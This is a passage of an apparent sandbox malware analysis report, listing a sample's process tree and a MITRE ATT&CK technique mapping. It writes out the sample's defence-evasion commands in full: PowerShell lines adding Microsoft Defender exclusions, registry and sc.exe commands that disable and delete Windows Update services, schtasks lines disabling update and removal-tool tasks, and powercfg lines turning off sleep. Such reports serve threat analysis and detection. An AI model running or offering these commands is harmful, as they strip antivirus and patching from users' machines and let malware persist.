      4⤵
      Launches sc.exe
      PID:4928
  - - C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" start "CheckManager_29ce"
      4⤵
      Launches sc.exe
      PID:3992
- C:\Windows\System32\nslookup.exe
  "C:\Windows\System32\nslookup.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:2536
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath $env:ProgramData -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Enumerates connected drives
    - Drops file in System32 directory
    - Modifies data under HKEY_USERS
    PID:2008
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath $env:TEMP -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Enumerates connected drives
    - Drops file in System32 directory
    - Modifies data under HKEY_USERS
    PID:1340
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionExtension '.exe' -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Enumerates connected drives
    - Drops file in System32 directory
    - Modifies data under HKEY_USERS
    PID:4588
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionExtension '.sys' -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Enumerates connected drives
    - Drops file in System32 directory
    - Modifies data under HKEY_USERS
    PID:4528
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionProcess 'nslookup.exe' -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Enumerates connected drives
    - Drops file in System32 directory
    - Modifies data under HKEY_USERS
    PID:1980
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionProcess 'svchost.exe' -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Enumerates connected drives
    - Drops file in System32 directory
    - Modifies data under HKEY_USERS
    PID:4712
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $key='HKLM:\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc';$acl=Get-Acl $key;$admin=New-Object System.Security.Principal.NTAccount('BUILTIN','Administrators');$acl.SetOwner($admin);$rule=New-Object System.Security.AccessControl.RegistryAccessRule($admin,'FullControl','Allow');$acl.SetAccessRule($rule);Set-Acl $key $acl;Set-ItemProperty $key -Name 'Start' -Value 4 -Type DWord
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Enumerates connected drives
    - Drops file in System32 directory
    - Modifies data under HKEY_USERS
    PID:1984
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" config WaaSMedicSvc start= disabled
    3⤵
    - Launches sc.exe
    PID:4844
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:3668
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" config UsoSvc start= disabled
    3⤵
    - Launches sc.exe
    PID:2992
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:1168
- - C:\Windows\System32\reg.exe
    "C:\Windows\System32\reg.exe" copy "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" "HKLM\SYSTEM\CurrentControlSet\Services\udpixdmfcz" /s /f
    3⤵
    - Server Software Component: Terminal Services DLL
    - Sets service image path in registry
    PID:4196
- - C:\Windows\System32\reg.exe
    "C:\Windows\System32\reg.exe" delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
    3⤵
    PID:4048
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" config WaaSMedicSvc start= disabled
    3⤵
    - Launches sc.exe
    PID:1592
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:628
- - C:\Windows\System32\reg.exe
    "C:\Windows\System32\reg.exe" copy "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" "HKLM\SYSTEM\CurrentControlSet\Services\lzarkwtrsn" /s /f
    3⤵
    - Server Software Component: Terminal Services DLL
    - Sets service image path in registry
    PID:2460
- - C:\Windows\System32\reg.exe
    "C:\Windows\System32\reg.exe" delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
    3⤵
    PID:3792
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" config wuauserv start= disabled
    3⤵
    - Launches sc.exe
    PID:1416
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" stop wuauserv
    3⤵
    - Launches sc.exe
    PID:2960
- - C:\Windows\System32\reg.exe
    "C:\Windows\System32\reg.exe" copy "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" "HKLM\SYSTEM\CurrentControlSet\Services\bvqttzvgqc" /s /f
    3⤵
    - Server Software Component: Terminal Services DLL
    - Sets service image path in registry
    PID:3868
- - C:\Windows\System32\reg.exe
    "C:\Windows\System32\reg.exe" delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
    3⤵
    - Modifies security service
    PID:2520
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" config BITS start= disabled
    3⤵
    - Launches sc.exe
    PID:3580
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" stop BITS
    3⤵
    - Launches sc.exe
    PID:3828
- - C:\Windows\System32\reg.exe
    "C:\Windows\System32\reg.exe" copy "HKLM\SYSTEM\CurrentControlSet\Services\BITS" "HKLM\SYSTEM\CurrentControlSet\Services\srgvmarzbt" /s /f
    3⤵
    - Server Software Component: Terminal Services DLL
    - Sets service image path in registry
    PID:4920
- - C:\Windows\System32\reg.exe
    "C:\Windows\System32\reg.exe" delete "HKLM\SYSTEM\CurrentControlSet\Services\BITS" /f
    3⤵
    PID:2932
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" config dosvc start= disabled
    3⤵
    - Launches sc.exe
    PID:2228
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" stop dosvc
    3⤵
    - Launches sc.exe
    PID:4876
- - C:\Windows\System32\reg.exe
    "C:\Windows\System32\reg.exe" copy "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" "HKLM\SYSTEM\CurrentControlSet\Services\zdkxsadpkl" /s /f
    3⤵
    - Sets service image path in registry
    PID:1280
- - C:\Windows\System32\reg.exe
    "C:\Windows\System32\reg.exe" delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
    3⤵
    PID:2092
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /Disable
    3⤵
    PID:2008
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /Disable
    3⤵
    PID:116
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /Disable
    3⤵
    PID:4984
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Schedule Scan" /Disable
    3⤵
    PID:3728
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Schedule Scan Static Task" /Disable
    3⤵
    PID:5004
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Schedule Work" /Disable
    3⤵
    PID:4572
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work" /Disable
    3⤵
    PID:4088
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\UpdateOrchestrator\USO_UxBroker" /Disable
    3⤵
    PID:560
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Reboot_AC" /Disable
    3⤵
    PID:1592
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Reboot_Battery" /Disable
    3⤵
    PID:628
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\WaaSMedic\PerformRemediation" /Disable
    3⤵
    PID:4640
- - C:\Windows\System32\powercfg.exe
    "C:\Windows\System32\powercfg.exe" /x -hibernate-timeout-ac 0
    3⤵
    - Power Settings
    PID:1640
- - C:\Windows\System32\powercfg.exe
    "C:\Windows\System32\powercfg.exe" /x -hibernate-timeout-dc 0
    3⤵
    - Power Settings
    PID:1128
- - C:\Windows\System32\powercfg.exe
    "C:\Windows\System32\powercfg.exe" /x -standby-timeout-ac 0
    3⤵
    - Power Settings
    PID:4424
- - C:\Windows\System32\powercfg.exe
    "C:\Windows\System32\powercfg.exe" /x -standby-timeout-dc 0
    3⤵
    - Power Settings
    PID:1220
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\MRT\MRT_HB" /Disable
    3⤵
    PID:4444
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:2960
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows Removal Tools\MRT_HB" /Disable
    3⤵
    PID:4700
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath $env:ProgramData -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Enumerates connected drives
    - Drops file in System32 directory
    - Modifies data under HKEY_USERS
    PID:3792
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath $env:TEMP -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Enumerates connected drives
    - Drops file in System32 directory
    - Modifies data under HKEY_USERS
    PID:4444
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionExtension '.exe' -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Enumerates connected drives
    - Drops file in System32 directory
    - Modifies data under HKEY_USERS
    PID:1788
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionExtension '.sys' -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Enumerates connected drives
    - Drops file in System32 directory
    - Modifies data under HKEY_USERS
    PID:2348
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionProcess 'nslookup.exe' -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Enumerates connected drives
    - Drops file in System32 directory
    - Modifies data under HKEY_USERS
    PID:3904
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionProcess 'svchost.exe' -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Enumerates connected drives
    - Drops file in System32 directory
    - Modifies data under HKEY_USERS
    PID:752
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\MRT\MRT_HB" /Disable
    3⤵
    PID:3796
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows Removal Tools\MRT_HB" /Disable
    3⤵
    PID:716
- C:\Windows\System32\nslookup.exe
  "C:\Windows\System32\nslookup.exe"
  2⤵
  PID:1616
- C:\Windows\System32\svchost.exe
  "C:\Windows\System32\svchost.exe"
  2⤵
  - Suspicious use of FindShellTrayWindow
  PID:3916

C:\Users\Admin\AppData\Local\Common\Common\Temp\E8204C9F\ProUpdate7dd338.exe
C:\Users\Admin\AppData\Local\Common\Common\Temp\E8204C9F\ProUpdate7dd338.exe
1⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:1980

C:\Users\Admin\AppData\Roaming\ConfigDAF5\ProManagerc7e51.exe
C:\Users\Admin\AppData\Roaming\ConfigDAF5\ProManagerc7e51.exe
1⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:964

C:\ProgramData\Windows\Config\57AE748E\AppManagerServicef7ad.exe
C:\ProgramData\Windows\Config\57AE748E\AppManagerServicef7ad.exe
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:4180

C:\ProgramData\Windows\Config\57AE748E\AppManagerServicef7ad.exe
C:\ProgramData\Windows\Config\57AE748E\AppManagerServicef7ad.exe
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:2836

C:\Windows\system32\backgroundTaskHost.exe
"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
1⤵
PID:3860

C:\Windows\system32\BackgroundTransferHost.exe
"BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1
1⤵
PID:1616

C:\Windows\system32\BackgroundTransferHost.exe
"BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1
1⤵
PID:1984

C:\Users\Admin\AppData\Local\Common\Common\Temp\E8204C9F\ProUpdate7dd338.exe
C:\Users\Admin\AppData\Local\Common\Common\Temp\E8204C9F\ProUpdate7dd338.exe
1⤵
- Executes dropped EXE
PID:4296

C:\Users\Admin\AppData\Local\Common\Common\Temp\E8204C9F\ProUpdate7dd338.exe
C:\Users\Admin\AppData\Local\Common\Common\Temp\E8204C9F\ProUpdate7dd338.exe
1⤵
- Executes dropped EXE
PID:2788

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Boot or Logon Initialization Scripts

T1037

Logon Script (Windows)

T1037.001

Create or Modify System Process

T1543

Windows Service

Power Settings

T1653

Scheduled Task/Job

T1053

Scheduled Task

Server Software Component

T1505

Terminal Services DLL

T1505.005

Privilege Escalation

Access Token Manipulation

T1134

Parent PID Spoofing

T1134.004

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Boot or Logon Initialization Scripts

T1037

Logon Script (Windows)

T1037.001

Create or Modify System Process

T1543

Windows Service

Scheduled Task/Job

T1053

Scheduled Task